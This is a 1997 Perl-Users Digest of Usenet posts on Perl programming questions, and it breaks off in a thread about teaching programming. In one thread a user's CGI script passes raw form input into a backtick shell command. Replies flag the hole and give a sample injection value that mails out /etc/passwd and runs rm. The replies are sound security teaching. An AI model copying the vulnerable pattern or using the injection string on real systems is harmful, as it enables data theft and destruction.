[7854] in Perl-Users-Digest
Perl-Users Digest, Issue: 1479 Volume: 8
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Mon Dec 15 22:07:21 1997
Date: Mon, 15 Dec 97 19:00:25 -0800
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Mon, 15 Dec 1997 Volume: 8 Number: 1479
Today's topics:
Re: Advice on References to Class Functions ? (Andrew M. Langmead)
CGI/PERL & Netshow Video Server <bazaillion@primary.net>
compacting array.... <NerveGas@nospam.com>
Re: compacting array.... (Martien Verbruggen)
Re: find and replace (Martien Verbruggen)
Re: find and replace <reibert@mystech.com>
Re: help me <rhodri@wildebst.demon.co.uk>
help- newbie stuck in hash (again) ushere@ibm.net
Re: help- newbie stuck in hash (again) (Martien Verbruggen)
Re: Hex, Oct, and Bin convertor? (Andrew M. Langmead)
how to send entire script code to STDOUT if STDIN eq "h <ebd@sunline.net>
Re: HTTP/1.0 500 Server Error (/cgi-bin/multiple_forms. <jrj120@psu.edu>
Re: NEED: Fast, Fast string trim() <rjk@coos.dartmouth.edu>
Re: new to perl/ window nt 4.0 <ebd@sunline.net>
newbie = ? on executing OS/2 commands via system(), ++r <cl_marino@cls.e-mail.com>
Re: Pass variables to Unix command? (brian d foy)
Re: Pass variables to Unix command? <rootbeer@teleport.com>
Perl Installation on SUN Netra i (Y M Tan)
perl4 -> perl5 operation <jerry.pendergraft@endo.com>
Re: perl4 -> perl5 operation (Martien Verbruggen)
Re: perl4 -> perl5 operation <rootbeer@teleport.com>
Re: Problem with getc? <rhodri@wildebst.demon.co.uk>
Quick Change Dir script... <bathomas@erols.com>
Re: Running NT "Net User ..." from Perl <ebd@sunline.net>
Re: Teaching programing (Abigail)
Re: Teaching programing (John Moreno)
Re: Teaching programing (Russell Mirabelli)
umask portability <rshadian@hawaii.edu>
Re: Which language pays most 17457 -- C++ vs. Java? (Roy Smith)
Re: Workaround for FLOCK?/When is FLOCK not supported? <rootbeer@teleport.com>
Re: Workaround for FLOCK? <cinquini@alamar-usa.com>
Digest Administrivia (Last modified: 8 Mar 97) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Tue, 16 Dec 1997 00:26:30 GMT
From: aml@world.std.com (Andrew M. Langmead)
Subject: Re: Advice on References to Class Functions ?
Message-Id: <EL9AK7.JC5@world.std.com>
"Mark L. Bennett" <mbennett@ideaeng.com> writes:
>I will call Traverse, and pass it a reference to a function.
>I will call the Traverse fuction with a Node (or NamedNode)
>reference, and a reference to a small fucntion to process
>each node.
How about if you pass a string containing the name of the method you
want to call (lets say we store it in a variable called $method), and
say:
$node->$method();
to call it?
--
Andrew Langmead
------------------------------
Date: Mon, 15 Dec 1997 17:26:10 -0600
From: darkcyde <bazaillion@primary.net>
Subject: CGI/PERL & Netshow Video Server
Message-Id: <3495BC92.7208@primary.net>
Hello,
I have seen several adult sites on the internet that have
Pay-Per-View(PPV) access. Where you can purchase time blocks then log
on/off to live feeds as many times as you wish until your time expires.
The only sever software that I have seen that supports PPV access is the
Real Video Server 5.0 however its extremely exspensive ($16,000+ for 50
streams) Is their any way through CGI this could be done with Microsofts
Netshow Video Server?
Thanks,
Michael Bazaillion
bazaillion@primary.net
------------------------------
Date: Mon, 15 Dec 1997 15:47:27 -0700
From: NerveGas <NerveGas@nospam.com>
Subject: compacting array....
Message-Id: <3495B37F.39EA@nospam.com>
Someone asked a week or so ago how to compact an array without
creating a new one in the mean time. I said it wasn't possible, but
realized that it is. BUT... I can't find the original message to reply
to. If this is the right news group, let me know...
Steve
------------------------------
Date: 16 Dec 1997 01:13:12 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: compacting array....
Message-Id: <674kj8$nfp$2@comdyn.comdyn.com.au>
In article <3495B37F.39EA@nospam.com>,
NerveGas <NerveGas@nospam.com> writes:
> Someone asked a week or so ago how to compact an array without
> creating a new one in the mean time. I said it wasn't possible, but
> realized that it is. BUT... I can't find the original message to reply
> to. If this is the right news group, let me know...
Why don't you do a search yourself? Dejanews has all the articles
posted here archived.
looking for
compact +comp.lang.perl.misc
returned the results immediately.
Martien
--
Martien Verbruggen |
Webmaster www.tradingpost.com.au | Make it idiot proof and someone will
Commercial Dynamics Pty. Ltd. | make a better idiot.
NSW, Australia |
------------------------------
Date: 15 Dec 1997 22:42:04 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: find and replace
Message-Id: <674bns$mlu$5@comdyn.comdyn.com.au>
In article <3495a108.0@news.regiocom.net>,
jimknopf@Lummerland.halberstadt.netsurf.de (Andreas Kraska) writes:
>
> Hello !
>
> I need a script to find a paricular word or phrase in files of a given
> directory, then replace all at once by another word or phrase.
> Its to get a word referenced by an explanation in another file (html).
I am not entirely sure what you want, but if it's something sed-ish,
like replace a word in a bunch of files with another word:
perldoc perlrun
look at the -i and the -p arguments. The -i one has an example to do
exactly that.
Martien
--
Martien Verbruggen |
Webmaster www.tradingpost.com.au | The gene pool could use a little
Commercial Dynamics Pty. Ltd. | chlorine.
NSW, Australia |
------------------------------
Date: Mon, 15 Dec 1997 16:29:03 -0700
From: "Mark S. Reibert" <reibert@mystech.com>
Subject: Re: find and replace
Message-Id: <3495BD3F.22FAE720@mystech.com>
Andreas Kraska wrote:
> Hello !
>
> I need a script to find a paricular word or phrase in files of a given directory, then replace all at once by another word or phrase.
> Its to get a word referenced by an explanation in another file (html).
> Is there such a script (perl) or easy to make?
> Any suggestions are wellcomed.
How about the simple script outlined below:
#!/usr/local/bin/perl
$searchPattern = pop @ARGV;
foreach $file ( @ARGV ) {
push( @match, $file ) if InFile( $file, $searchPattern );
}
print "$searchPattern found in the following files:\n";
foreach ( @match ) {
print "$_\n";
}
sub InFile
{
my ( $fileName, $pattern ) = @_;
open( FILE, "<$fileName" ) or return undef;
my $lines = join '', <FILE>;
close( FILE );
return $lines =~ /$pattern/m ? 1 : undef;
}
Assuming you called this script "search.pl", you would simply type "search.pl filespec searchstring" to execute the search.
Hope this helps!
Mark Reibert
-----------------------------
Mark S. Reibert, Ph.D.
Mystech Associates, Inc.
3233 East Brookwood Court
Phoenix, Arizona 85044
Tel: (602) 732-3752
Fax: (602) 706-5120
E-mail: reibert@mystech.com
-----------------------------
------------------------------
Date: Mon, 15 Dec 1997 22:30:51 +0000 (GMT)
From: Rhodri James <rhodri@wildebst.demon.co.uk>
Subject: Re: help me
Message-Id: <47f91202b0rhodri@wildebst.demon.co.uk>
In article <673ek2$5r6@bgtnsc01.worldnet.att.net>,
Creede Lambard <$_=qq!fearless\@NOSPAMio.com!;y/A-Z//d;print> wrote:
> opendir(DIR,".") or die "Can't open current directory";
> @files = readdir(DIR);
> closedir DIR;
> foreach $file (@files) {
> chomp($file);
> next unless $file =~ /secret$/i;
Tsk. You surely mean
next unless $file =~ /\.secret$/i;
(the i may be optional, depending on OS :-)
> open(WORDSLIST,$file) or die "Can't open $file";
> #
> # the rest of your code goes here
> #
> }
--
Rhodri James *-* Wildebeeste herder to the masses
If you don't know who I work for, you can't misattribute my words to them
... Unfortunately we also have the stealth of elephants
------------------------------
Date: Mon, 15 Dec 1997 19:18:14 -0500
From: ushere@ibm.net
Subject: help- newbie stuck in hash (again)
Message-Id: <3495C8C6.54B0@ibm.net>
hi,
how can I access the $temp array elements
after I'm out of the foreach loop? Have
tried lots (except the right way I guess).
Is it possible to create a multi-dim array
the first field of which is hash indexed
while the others are keyed so that any field
might later be accessed by such as
$field[hashindex][1] or in real terms
$field[r2f1][25]?
thanks, e-mail appreciated.
# 'hashread.pl' reads in the following tab-separated
# database file 'dat.tsv' as a hash
# fld1 fld2 fld3
# r1f1 r1f2 r1f3
# r2f1 r2f2 r2f3
# r3f1 r3f2 r3f3
$fid = "dat.tsv";
open HANDLE, "< $fid" or die "can't open $fid ... $!\n";
while (<HANDLE>) {
next unless /^(.*?)\t/;
$hash{$1} = [ split /\t/];
}
close (HANDLE);
foreach $hashix (keys %hash) {
@temp=@{$hash{$hashix}};
print "hashix= $hashix, hashix fields-array = @temp \n";
print "field-1= $temp[0] \n"; # test for field-2 of record
print "field-2= $temp[1] \n"; # test for field-2 of record
print "field-3= $temp[2] \n"; # test for field-3 of record
}
# stuck here......
print "r2-f2= ...............? \n";
# test for field-2 of record-2 etc.
------------------------------
Date: 16 Dec 1997 01:19:46 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: help- newbie stuck in hash (again)
Message-Id: <674kvi$nfp$3@comdyn.comdyn.com.au>
In article <3495C8C6.54B0@ibm.net>,
ushere@ibm.net writes:
> how can I access the $temp array elements
> after I'm out of the foreach loop? Have
> tried lots (except the right way I guess).
The same way as in the loop. You have not declared it with my(), so it
should be a global that you can access anywhere. What you don't seem
to realise is that the loop
foreach $hashix (keys %hash) {
...
}
runs for every key in %hash, so that AFTER the loop, the elements of
@temp are the elements of the array ref
$hash{whatever_the_last_key_is}
If you want to use @temp for every key, you will have to do it in a
loop. But why would you want to do that? You already have the data
stored in %hash.
refer to something like $hash{key}->[0] or $hash{$key}->[1] for the
same elements as you have in $temp[0] or $temp[1], with the difference
that the first ones will be available at all times, and the @temp ones
only while you haven't overwritten them with something else.
Martien
--
Martien Verbruggen | My friend has a baby. I'm writing down
Webmaster www.tradingpost.com.au | all the noises the baby makes so later
Commercial Dynamics Pty. Ltd. | I can ask him what he meant - Steven
NSW, Australia | Wright
------------------------------
Date: Mon, 15 Dec 1997 23:52:31 GMT
From: aml@world.std.com (Andrew M. Langmead)
Subject: Re: Hex, Oct, and Bin convertor?
Message-Id: <EL98zJ.2A6@world.std.com>
"Mark S. Reibert" <reibert@mystech.com> writes:
>I don't know if Perl has any functions for binary numbers - check CPAN for a
>module. Otherwise, it is not too difficult to write yourself!
For binary, (or for an alternate way of dealing with hex) take a look
at the pack() and unpack() functions.
--
Andrew Langmead
------------------------------
Date: Mon, 15 Dec 1997 20:22:08 -0500
From: "E. Brian Depenbrock" <ebd@sunline.net>
Subject: how to send entire script code to STDOUT if STDIN eq "help"
Message-Id: <674l17$2tb@snews1.zippo.com>
I have a perl script I wrote and used perl2exe to convert it to an
executable. I did this because the boneheads I wrote it for are nosey and
like to look at stuff, then they break it.
However, I want them to be able to see the code so someone else can modify
it later if need be.
So, what I want is a way to have the script print itself to STDOUT if the
STDIN value is equal to help or something like that. I can get it to send
segments of text, but not the show thing.
Here is part of my current code: Note: the first line basically forces my
notes to display to the screen each time it is run.
print stderr ("
# Boris to Comma Delimited perl app.
# E. Brian Depenbrock shicar-dkeep.com ebd-sunline.net
# Last updated DEC 1997
#
#Usage:
# newpull infile > outfile
#
#Where:
# infile is a boris capture file, strick tolerances must be used.
# outfile will be created as an ascii file, comma delimited,
# with quotes as text designator.
#
#Notes:
# this script works with limited versions of perl, to assure proper
# operation, compile the script with perl2exe first
# www.demobuilder.com use of the registered version required
");
warn("\nYou did not supply an outfile, process will be displayed to
screen") if($stdout eq "");
die("\nYou did not supply an infile, process halted") if($stdin eq "");
print stderr (" ...WORKING... you should see 100 - 200 - 300...");
print stderr ("\n");
------------------------------
Date: Mon, 15 Dec 1997 11:14:25 +0000
From: James Juran <jrj120@psu.edu>
To: Poul Kornmod <pbk@sasintern.com>
Subject: Re: HTTP/1.0 500 Server Error (/cgi-bin/multiple_forms.cgi is not a valid Windows NTapplication. )
Message-Id: <34951111.3F5FC7FA@psu.edu>
[posted & mailed]
Poul Kornmod wrote:
>
> Dear All,
>
> I know that this has been posted before - but I didn't read the
> thread. Could somebody please forward me some of the reply's?
Dejanews (http://www.dejanews.com) has a searchable, comprehensive
archive of Usenet that dates to sometime in 1995. If it's been posted,
it's there.
James
--
James Juran
jrj120@psu.edu
------------------------------
Date: Mon, 15 Dec 1997 21:20:38 -0500
From: Chipmunk <rjk@coos.dartmouth.edu>
Subject: Re: NEED: Fast, Fast string trim()
Message-Id: <3495E575.91C3AC0E@coos.dartmouth.edu>
Matthew Cravit wrote:
>
> In article <34956B42.E8B2DD13@mystech.com>,
> Mark S. Reibert <reibert@mystech.com> wrote:
> >Mike Stok wrote:
>
> >> $string =~ s/^\s+//;
> >> $string =~ s/\s+$//;
> >
> >I usually shorten this to
> >
> >$string =~ s/^\s*(.*?)\s*$/$1/;
> >
> >I don't know if this executes any faster than your option,
>
> Benchmark: timing 1000 iterations of OneExp, TwoExp...
> OneExp: 4 secs ( 3.76 usr 0.00 sys = 3.76 cpu)
> TwoExp: 1 secs ( 0.99 usr 0.00 sys = 0.99 cpu)
>
> So, your version executes almost 4 times slower than the other. I suspect
> this is due to the backreference ($1), but I'm not sure.
I'd bet that the nongreedy quantifier plays a key part as well.
After each time (.*?) matches an additional character, the regexp engine
satisfies the nongreediness by seeing if the rest of the regexp can match
at that point. That means it must leave and reenter the parentheses for
every character in the test string.
Chipmunk
------------------------------
Date: Mon, 15 Dec 1997 20:38:11 -0500
From: "E. Brian Depenbrock" <ebd@sunline.net>
Subject: Re: new to perl/ window nt 4.0
Message-Id: <674m9l$3kj@snews1.zippo.com>
go to the command prompt, like c:\ and try to run your script.
When you install perl is should update your registry to associate .pl
extentions with perl.exe
if you want run foo.pl or some perl app then your registry is not updated
Jerry hARVILL wrote in message <34919C6C.638E93A9@epix.net>...
>I'm trying to install perl 5.0 onto windows nt 4.0 which we use for our
>internet server. Any clues on how to make is operationable? It seems
>like I installed it correctly but how do I check. I've tried running a
>perl script search engine and it gives me the message 501
>
------------------------------
Date: Mon, 15 Dec 1997 20:19:37 -0600
From: Carl Lucio Marino <cl_marino@cls.e-mail.com>
Subject: newbie = ? on executing OS/2 commands via system(), ++regexp
Message-Id: <3495E538.D06BB371@cls.e-mail.com>
Hello all,
I'm relatively new to Perl and I've run into to some problems, er uh,
opportunities. I want to execute some OS/2 commands stored in a file,
form my perl program. No problem, I'll use system().
For example, I want to read a file with a command like:
xcopy \admin\stuff\*.dat %home%\data
problem: the environment variable %home% isn't expanded, but taken
literally!
~~~~~~~~~~~
Another option would be to execute a .cmd file (or a .bat file in M$DOS
terms) - but system() complains saying the .cmd file isn't of the
correct executable format - yeah, I knew that.
~~~~~~~~~~~
Unless someone has a better idea, I'll have to expand the environment
variable myself, but I not sure how to do it.
What I'm looking for is a regexp that takes whatever is between a pair
of %'s, say $x, evaluate that with $ENV{$x}, and then update itself.
right now I'm splitting on % - which assumes I'll have at most one
environment variable (which isn't a good assumption), and move the
string into
another array
(please excuse my inefficiency)
@args = split/\s+/;
@cmd = @args;
$i = 0;
for (@args)
{
# only concerned with strings containing percent signs?
$count = tr/%/%/;
if($count > 0)
{
($a, $b, $c) = (split /%/)[0, 1, 2];
$cmd[$i++] = $a . $ENV{$b} . $c; # $b better
be all caps, or fails
}
else
{
# no percent signs, keep original string
$cmd[$i++] = $_;
}
}
# execute command
$rc = 0xffff & system(@cmd);
I appreciate any thoughts.
Carl
------------------------------
Date: Mon, 15 Dec 1997 18:04:42 -0500
From: comdog@computerdog.com (brian d foy)
Subject: Re: Pass variables to Unix command?
Message-Id: <comdog-ya02408000R1512971804420001@news.panix.com>
[ comp.lang.perl is DEAD. use comp.lang.perl.misc ]
In article <34953a57.210745045@news.dx.net>, webmaster@realvision-inc.com (Paul Heindselman) wrote:
>$logintext = $FORM{'loginText'};
#let's do a bit of debugging:
#perhaps we never had a value for $logintext
print "before egrep: logintext is [$logintext]\n";
>$testvar = `egrep $logintext callsign.txt`;
what happens if $logintext is ': /etc/passwd | mail me@here; rm -f'; ?
make sure you check the various WWW security FAQs (see the CGI Meta
FAQ referenced in the sig) and the perlsec man page.
>What I'm trying to do here is search a text file for a name that comes
>from a web page form.
>It will search the file fine when I specify a name instead of
>$logintext, but it wont pass the value of the $logintext variable to
>the command line. Is there some special syntax to pass the variable?
backticks do normal double-quotish interpretation, so if there is a
value in $logintext it should be passed to the shell. check the
value of $logintext before you pass it to the shell. if you still
have problems after that, post more details.
good luck :)
--
brian d foy <comdog@computerdog.com>
NY.pm - New York Perl M((o|u)ngers|aniacs)* <URL:http://ny.pm.org/>
CGI Meta FAQ <URL:http://computerdog.com/CGI_MetaFAQ.html>
------------------------------
Date: Mon, 15 Dec 1997 18:37:37 -0800
From: Tom Phoenix <rootbeer@teleport.com>
To: Paul Heindselman <webmaster@realvision-inc.com>
Subject: Re: Pass variables to Unix command?
Message-Id: <Pine.GSO.3.96.971215181946.24265E-100000@user2.teleport.com>
On Mon, 15 Dec 1997, Paul Heindselman wrote:
> Newsgroups: comp.lang.perl.modules, comp.lang.perl, comp.lang.perl.misc
comp.lang.perl is dead. And you don't mention any modules, although you
should have.... :-)
> read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
> @pairs = split(/&/, $buffer);
You should really use CGI.pm to do this for you...
> foreach $pair (@pairs)
> {
> ($name, $value) = split(/=/, $pair);
> $value =~ tr/+/ /;
> $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
> $value =~ s/~!/ ~!/g;
> $FORM{$name} = $value;
> }
...because, among its other virtues, it does this decoding correctly! :-)
> $logintext = $FORM{'loginText'};
> $testvar = `egrep $logintext callsign.txt`;
Eek! Danger! Danger! Danger!
Disable that script NOW. Right now. Don't wait to read any further.
Disable it now, then come back and read about why.
What you've just done is the most deadly sin of secure programming. Don't
put that data into your command line; you don't know where it's been!
No matter what your form says, someone could call your script with data of
their choice. If they send some bad stuff as the 'loginText', that will go
directly into your command line, where your system will merrily execute
it. In essence, your script will do what someone else wants, rather than
what you want. Do you see how bad that can be?
See the perlsec manpage and the security info below before you go any
further. Please, even if you don't mind having your computer hijacked,
always practise safe computing.
http://www.genome.wi.mit.edu/WWW/faqs/www-security-faq.html
http://www.genome.wi.mit.edu/WWW/faqs/wwwsf5.html#Q44
http://www.primus.com/staff/paulp/cgi-security/
http://www.cerf.net/~paulp/cgi-security/safe-cgi.txt
http://hoohoo.ncsa.uiuc.edu/cgi/security.html
http://www.perl.com/perl/faq/perl-cgi-faq.html
One of those should even give you some information about doing this right.
If, after you've read them, you still don't see what you need to do,
please post again. Thanks!
--
Tom Phoenix http://www.teleport.com/~rootbeer/
rootbeer@teleport.com PGP Skribu al mi per Esperanto!
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
Ask me about Perl trainings!
------------------------------
Date: Tue, 16 Dec 1997 02:03:36 GMT
From: ymisdn@pc.jaring.my (Y M Tan)
Subject: Perl Installation on SUN Netra i
Message-Id: <3495e022.5380911@gateway>
Hi there,
Greetings!
Can someone kindly enlight me on installing Perl on Sun Netra i
machine running Solaris 2.5.1?
I was told that I have to install GNU C/C++ compiler and get the Perl
source for compilation. However, I am quite at loss at the 1st step.
Will appreciate very much if you can share your experience.
Thank you very much.
Best regards,
Y M Tan
------------------------------
Date: Mon, 15 Dec 1997 16:52:20 -0600
From: Jerry Pendergraft <jerry.pendergraft@endo.com>
Subject: perl4 -> perl5 operation
Message-Id: <3495B4A3.2BD7A05D@endo.com>
--------------2EAFCA8B462EC1D12D902FE3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
In perl 4[.036] one could write:
$Count = 1;
s/foo/foo_${Count++)/g
And each occurance of "foo" would be replaced with foo_1 foo_2 foo_3
foo_n
no matter how many times foo appeared on each line.
This does not work in perl5 and I have not figured out a way that does
what I want.
If I am correct I can use something like: ??
s/foo/sprintf("foo_%d", $Count++)/ge
But is there any way that works in both perl4 and perl5?
Thanks for any help
--
Jerry Pendergraft jerry.pendergraft@endo.com
Endocardial Solutions 612-523-6935
1350 Energy Lane, Suite 110
St Paul, MN 55108-5254
--------------2EAFCA8B462EC1D12D902FE3
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
<HTML>
<FONT FACE="Courier New,Courier">In perl 4[.036] one could write:</FONT><FONT FACE="Courier New,Courier"></FONT>
<P><FONT FACE="Courier New,Courier">$Count = 1;</FONT>
<BR><FONT FACE="Courier New,Courier">s/foo/foo_${Count++)/g</FONT><FONT FACE="Courier New,Courier"></FONT>
<P><FONT FACE="Courier New,Courier">And each occurance of "foo" would be
replaced with foo_1 foo_2 foo_3 foo_n</FONT>
<BR><FONT FACE="Courier New,Courier">no matter how many times foo appeared
on each line.</FONT><FONT FACE="Courier New,Courier"></FONT>
<P><FONT FACE="Courier New,Courier">This does not work in perl5 and I have
not figured out a way that does what I want.</FONT>
<BR><FONT FACE="Courier New,Courier">If I am correct I can use something
like: ??</FONT>
<BR><FONT FACE="Courier New,Courier">s/foo/sprintf("foo_%d", $Count++)/ge</FONT><FONT FACE="Courier New,Courier"></FONT>
<P><FONT FACE="Courier New,Courier">But is there any way that works in
both perl4 and perl5?</FONT>
<PRE>Thanks for any help</PRE>
<PRE>--
Jerry Pendergraft jerry.pendergraft@endo.com
Endocardial Solutions 612-523-6935
1350 Energy Lane, Suite 110
St Paul, MN 55108-5254</PRE>
</HTML>
--------------2EAFCA8B462EC1D12D902FE3--
------------------------------
Date: 16 Dec 1997 01:04:08 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: perl4 -> perl5 operation
Message-Id: <674k28$nfp$1@comdyn.comdyn.com.au>
In article <3495B4A3.2BD7A05D@endo.com>,
Jerry Pendergraft <jerry.pendergraft@endo.com> writes:
>
> --------------2EAFCA8B462EC1D12D902FE3
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
[SNIP]
> --------------2EAFCA8B462EC1D12D902FE3
> Content-Type: text/html; charset=us-ascii
> Content-Transfer-Encoding: 7bit
[SUPER SNIP]
Please post in plain text format. Your message goes all over the
world, and needs to be stored on lots of disks. Posting both in HTML
and text puts a lot of load on usenet resources for no reason at all.
Everyone can and will read plain text posts. A lot of people will not
read HTML.
Martien
--
Martien Verbruggen |
Webmaster www.tradingpost.com.au | Very funny Scotty, now beam down my
Commercial Dynamics Pty. Ltd. | clothes.
NSW, Australia |
------------------------------
Date: Mon, 15 Dec 1997 18:48:07 -0800
From: Tom Phoenix <rootbeer@teleport.com>
To: Jerry Pendergraft <jerry.pendergraft@endo.com>
Subject: Re: perl4 -> perl5 operation
Message-Id: <Pine.GSO.3.96.971215184636.24265G-100000@user2.teleport.com>
On Mon, 15 Dec 1997, Jerry Pendergraft wrote:
> In perl 4[.036] one could write:
>
> $Count = 1;
> s/foo/foo_${Count++)/g
Could one? :-) I think you meant something a little different...
> And each occurance of "foo" would be replaced with foo_1 foo_2 foo_3
> foo_n
> no matter how many times foo appeared on each line.
s/foo/ 'foo_' . $Count++ /ge;
Does that do it? Hope this helps!
--
Tom Phoenix http://www.teleport.com/~rootbeer/
rootbeer@teleport.com PGP Skribu al mi per Esperanto!
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
Ask me about Perl trainings!
------------------------------
Date: Mon, 15 Dec 1997 22:45:56 +0000 (GMT)
From: Rhodri James <rhodri@wildebst.demon.co.uk>
Subject: Re: Problem with getc?
Message-Id: <47f9136450rhodri@wildebst.demon.co.uk>
In article <ybbtyj3171.fsf@hector.ultimatech.com>,
Ivan Kourtev <ivan@ultimatech.com> wrote:
> Hello, everybody,
Hi. Someone else has already pointed out the way that your use of getc()
is failing. I thought I'd just draw something else to your attention.
The first diagnostic you get is:
> Identifier "main::Line" used only once: possible typo at my1 line 18.
and line 18 reads:
> printf(OUTFILE "\n%5d: %s", ++$line_no, $Line);
This is, indeed, the only occurance of $Line. A holdover from a previous
version?
--
Rhodri James *-* Wildebeeste herder to the masses
If you don't know who I work for, you can't misattribute my words to them
... Scotty, now would be a really good time...
------------------------------
Date: Mon, 15 Dec 1997 16:30:29 -0800
From: Bruce Thomas <bathomas@erols.com>
Subject: Quick Change Dir script...
Message-Id: <3495CBA5.122@erols.com>
Hello All..
I'm new to Perl and I'm using v4.0..I wanted to write a "quick change
directory" script and came up with the one listed below. It works great
on my machine at home (Win 3.11
and 4dos). I'd like all you "guru's" to check it out and suggest to me
other ways this could have been written...
It looks on the root of "c:\" for my ascii list of directories on drives
C & D and it then confirms my command line param of "the dir to change
to" is valid, then physically confirms you went where expected. You can
use any string present in your dirs listing to go where needed for
instance: "cp.pl e\\pl" takes you to my "c:\netscape\plugins"
directory as does "cp.pl plug" or "cp.pl ins\\"....(I use trailing
backslashes for all paths in my ascii "cdirs.rpt" path listing).
So why write this? I use a network at work and am responsible for drive
Q: and it has many many dirs on it and I wanted to use this to quickly
navigate the tree. However...it will not work at the workplace
environment. They use Win95 work stations on NT 4.0 servers and Perl
5.x (latest versions). The copy at work uses
'system ("cd $path");' rather than the (4dos specific) command of
'system ("cdd $path");' that is in this script (my home copy).
If folks could tell me why it won't work at the workplace and advise of
better routines than I have here...I'd much appreciate! Please CC a
copy to me e-mail if you reply here. Thanks in advance.
------------- CP.PL to quickly change directories [Begin] -------
#BT an attempt to write a "quick change" program 12-11-97
$to = $ARGV[0] || die (" \n -=[ Usage: CP dir ]=- \n");
open (DIRFILE, "c:\\cdirs.rpt") || die ("Couldn't open c:\\cdir.rpt\,
the \"tree\" listing! \n\n");
#join the above line...
@ifnot = <DIRFILE>;
chop @ifnot;
$success = grep(/$to/i,@ifnot) || die ("\n Invalid directory....please
try again.\n\n");
open (DIRFILE, "c:\\cdirs.rpt") || die ("Couldn't open c:\\cdirs.rpt\,
the \"tree\" listing!\n\n");
#join the above line...
$place = <DIRFILE>;
chop $place;
$path = substr($place , 3 , 32);
#above line gets rid of the "c:\" part of the path...
until ($path =~ /$to/i){
$place = <DIRFILE>;
chop $place;
$path = substr($place , 3 , 32);
}
############## 4dos specific "cdd" means change drive &
directory...#########
system ("cdd $place");
#############################################################################
########################################################
### Here we confim we went the correct dir...
### Could have been done like the "grep @ifnot" above and
### probably isn't necessary anymore...12-15-97
### TMP definitely could have been read into an array in any case....
### Nevertheless, I like it because it PHYSICALLY checks the current dir
### and confirms your location
########################################################
system ("dir *.id >e:\\tmp");
#I use a file "tree.id" in each dir in case I need to make a new dir
list...
open (TEMPFILE, "e:\\tmp") || die ("\n I couldn't open the freakin
\"tmp\" file!\n\n");
# e:\ - refers to my ramdrive...
$count = 0;
while ($count <= 2){
$confirm_path = <TEMPFILE>;
chop $confirm_path;
$count = ($count + 1);
}
close (TEMPFILE);
system ("del e:\\tmp >e:\\null");
if ($confirm_path =~ /$to/i){
print ("\n Bruce's \"CP.PL\" has granted your \"quick
change directory\" wish.....\n");
#join above line
}else{
close (DIRFILE);
die ("\n I'm sorry...I could not find the directory you wanted to
change to!\n\n");
}
close (DIRFILE);
----------------------- CP.PL [END] ------------------------------
------------------------------
Date: Mon, 15 Dec 1997 20:35:16 -0500
From: "E. Brian Depenbrock" <ebd@sunline.net>
Subject: Re: Running NT "Net User ..." from Perl
Message-Id: <674lp9$3am@snews1.zippo.com>
I'm not sure if this is your question, but Net User is not available for the
IUSER account which your browser is logged in as.
If you want to add delete change user stuff there is IIS stuff that will do
that.
Look for NTAccess on the web.
ozie@ganet.org wrote in message <881884623.450101258@dejanews.com>...
>Does anyone know how to call the "Net user" system
>command from a perl script from a web browser?
>
>The script I've written works fine from the command line
>but it does not execute when launched from a browser.
>
>Any clues.
>
>Thanks
> -Ozie
>
>-------------------==== Posted via Deja News ====-----------------------
> http://www.dejanews.com/ Search, Read, Post to Usenet
------------------------------
Date: 16 Dec 1997 00:18:10 GMT
From: abigail@fnx.com (Abigail)
Subject: Re: Teaching programing
Message-Id: <slrn69bi9b.50c.abigail@betelgeuse.wayne.fnx.com>
Janos Blazi (jblazi@wuerzburg.netsurf.de) wrote on 1566 September 1993 in
<URL: news:67082l$jb5@news1.citylink.de>:
++ I have to teach programing to 15-years old pupils. Is PERL a good language
++ to start with? Our "authorities" seem to prefer PASCAL, but PASCAL seems to
++ be absolutely dead and the first steps in PERL are perhaps easier than the
++ first steps in C. Or should I take BASIC (oh horror!)?
Who cares if Pascal is dead or not? It seems you want to teach
_programming_. Then stick to programming, and choose a language where
people are not easily sidetracked by "features" or other weirdness the
language you use offers.
Pascal is good in that respect as it keeps you focussed on what you want
to do: teach programming. You might even want to start by not using a
"real" programming language. like the pseudo code in CLR.
Perl is a nice language, but you won't teach people how to drive a car
using a Ferrari or a 24 ton truck either, would you?
Abigail
--
perl -wle 'print "Prime" if (1 x shift) !~ /^1?$|^(11+?)\1+$/'
------------------------------
Date: Mon, 15 Dec 1997 20:36:14 -0500
From: phenix@interpath.com (John Moreno)
Subject: Re: Teaching programing
Message-Id: <1d1bjn1.9c75sjhtpuaeN@roxboro-177.interpath.net>
Janos Blazi <jblazi@wuerzburg.netsurf.de> wrote:
> I have to teach programing to 15-years old pupils. Is PERL a good language
> to start with? Our "authorities" seem to prefer PASCAL, but PASCAL seems
> to be absolutely dead and the first steps in PERL are perhaps easier than
> the first steps in C. Or should I take BASIC (oh horror!)?
>
> THIS IS NOT A JOKE!
Pascal is alive (I won't say well, but alive) as a general purpose
programing languge. BUT, it is very much alive and well, and in my
opinion unsurpassed, as what it was DESIGNED for - TEACHING the
fundamentals of programming.
Yes the first steps in perl are easier than in either c or pascal, but
that's irrelevant, you don't expect them to stop at a hello world
program - this is a lot easier in perl than in most other programming
language, but it doesn't TEACH you much. Scope, good subroutine design,
if well taught a bit of data abstraction...you know the basics. Things
you'll need with any programming language.
Trying to teach programming in perl would be as silly as doing pattern
matching in pascal, or writing a drawing program in perl.
--
John Moreno
------------------------------
Date: Mon, 15 Dec 1997 20:17:59 -0600
From: russellm@fastlane.net (Russell Mirabelli)
Subject: Re: Teaching programing
Message-Id: <russellm-ya02408000R1512972017590001@news.fastlane.net>
Janos Blazi <jblazi@wuerzburg.netsurf.de> wrote:
>I have to teach programing to 15-years old pupils. Is PERL a good language
